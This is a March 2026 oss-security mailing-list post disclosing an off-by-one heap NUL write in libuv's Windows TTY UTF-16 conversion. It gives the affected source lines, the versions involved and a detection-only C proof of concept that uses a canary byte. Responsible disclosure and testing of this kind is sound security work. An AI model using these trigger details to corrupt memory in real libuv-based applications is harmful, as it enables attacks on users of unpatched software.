Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <CALrERead3gyi7riXr8e_2B=Gs-NhAZRJKNWESF=nvaFD_FqcEg@mail.gmail.com>
Date: Thu, 19 Mar 2026 21:48:41 +0500
From: Ali Raza <elirazamumtaz@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: Off-by-one heap buffer overflow in libuv

### PoC

Tested on Windows 10 22H2 x64, Visual Studio 2022 Build Tools, libuv v1.x
HEAD.

This is a detection-only PoC — it places a canary byte after the buffer and
checks if the NUL overwrites it. No exploitation attempted.

**1. Build libuv:**

```cmd
git clone https://github.com/libuv/libuv.git
cd libuv && git checkout v1.x
mkdir build && cd build
cmake .. -G "NMake Makefiles" -DCMAKE_BUILD_TYPE=Release
-DBUILD_TESTING=OFF -DLIBUV_BUILD_SHARED=OFF
nmake
cd ..
```

**2. Save as `poc\poc.c`:**

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include "uv.h"

#define CJK_CHAR 0x4E2D  /* U+4E2D (中) — 3 UTF-8 bytes */

static int test_overflow(size_t buf_size) {
  size_t num_chars = buf_size / 3;
  char *mem = (char *)malloc(buf_size + 16);
  uint16_t *utf16 = (uint16_t *)malloc(num_chars * sizeof(uint16_t));
  char *target;
  size_t target_len;
  unsigned char canary;
  int rc;

  if (!mem || !utf16) { free(mem); free(utf16); return -1; }

  memset(mem, 0xAA, buf_size + 16);
  for (size_t i = 0; i < num_chars; i++)
    utf16[i] = CJK_CHAR;

  target = mem;
  target_len = buf_size;  /* reproduces the tty.c:558 pattern — no -1 */
  rc = uv_utf16_to_wtf8(utf16, (ssize_t)num_chars, &target, &target_len);
  canary = (unsigned char)mem[buf_size];

  printf("  buf=%-5zu chars=%-4zu rc=%-3d byte_after=0x%02X %s\n",
         buf_size, num_chars, rc, canary,
         canary == 0x00 ? "OVERFLOW" : "ok");

  free(utf16);
  free(mem);
  return canary == 0x00 ? 1 : 0;
}

int main(void) {
  size_t sizes[] = {48, 96, 192, 384, 768, 1536, 3072, 6144};
  int n = sizeof(sizes) / sizeof(sizes[0]);
  int hits = 0;

  printf("=== uv_utf16_to_wtf8() off-by-one PoC ===\n\n");
  printf("Test: buffer sizes divisible by 3 (should overflow):\n");
  for (int i = 0; i < n; i++)
    hits += test_overflow(sizes[i]);

  printf("\nControl: buffer size NOT divisible by 3:\n");
  test_overflow(100);

  printf("\n%s: %d/%d overflows detected\n",
         hits > 0 ? "VULNERABLE" : "NOT VULNERABLE", hits, n);
  return hits > 0 ? 1 : 0;
}
```

**3. Compile and run (from x64 Native Tools Command Prompt for VS 2022):**

```cmd
mkdir poc && cd poc
cl /nologo /W3 /MD poc.c /I ..\include /link /LIBPATH:..\build libuv.lib
advapi32.lib iphlpapi.lib psapi.lib shell32.lib user32.lib userenv.lib
ws2_32.lib dbghelp.lib ole32.lib uuid.lib
poc.exe
```

**Output:**
SS Attached

### Impact

Out-of-bounds heap write (1 NUL byte) triggered by console input on
Windows. The practical impact depends on heap layout and allocator behavior
in the consuming application. Any Windows application using libuv's TTY
line reading with a read buffer size divisible by 3 is affected. Versions
v1.47.0 through current v1.x HEAD.

Best,

Ali Raza (@locus-x64)

On Thu, 19 Mar 2026 at 21:45, Ali Raza <elirazamumtaz@...il.com> wrote:

> Last few days ago I found an off-by-one heap buffer overflow in libuv.
> Off-by-one NUL write past a heap buffer in `uv_utf16_to_wtf8()` when
> called from the Windows TTY line-read path. When a user types or pastes CJK
> characters into a Windows console application backed by libuv, a 1-byte
> out-of-bounds NUL write occurs if the read buffer size is divisible by 3.
>
> I found this while reading through the TTY code. `uv_utf16_to_wtf8()` in
> src/idna.c unconditionally writes a NUL terminator at:
> ```c
> *target++ = '\0';   // idna.c:550 -- writes at target[target_len] when
> buffer is full
> ```
>
> The function's own comment says `*target_len_ptr` should be the length
> _excluding_ space for NUL. Two callers in util.c handle this correctly:
> ```c
> utf8_len = *size_ptr - 1; /* Reserve space for NUL */    // util.c:126
> *size -= 1; /* Reserve space for NUL. */                   // util.c:1121
> ```
>
> But the TTY line-read path passes the full buffer size without the
> subtraction:
> ```c
> read_bytes = bytes;    // tty.c:558 — should be bytes - 1
> uv_utf16_to_wtf8(utf16, read_chars,
>                  &handle->tty.rd.read_line_buffer.base,
>                  &read_bytes);
> ```
>
> The overflow happens when all the input characters encode to exactly 3
> UTF-8 bytes each (BMP characters in U+0800–U+FFFF range, like CJK
> ideographs). The TTY code computes `chars = bytes / 3` (tty.c:540), so when
> `bytes % 3 == 0`, the worst-case output `chars * 3` equals `bytes` exactly,
> and the NUL terminator writes one byte past the buffer.
>
> The buffer size comes from the application's `alloc_cb`. libuv suggests
> 8192 (not divisible by 3), but any application returning a size that's
> divisible by 3 hits this.
>
> Introduced in v1.47.0 (commit f3889085, PR #4021), still present on v1.x
> HEAD.
>
>
> Best
>
> Ali Raza (@locus-x64)
>

Content of type "text/html" skipped

Download attachment "poc.png" of type "image/png" (40768 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.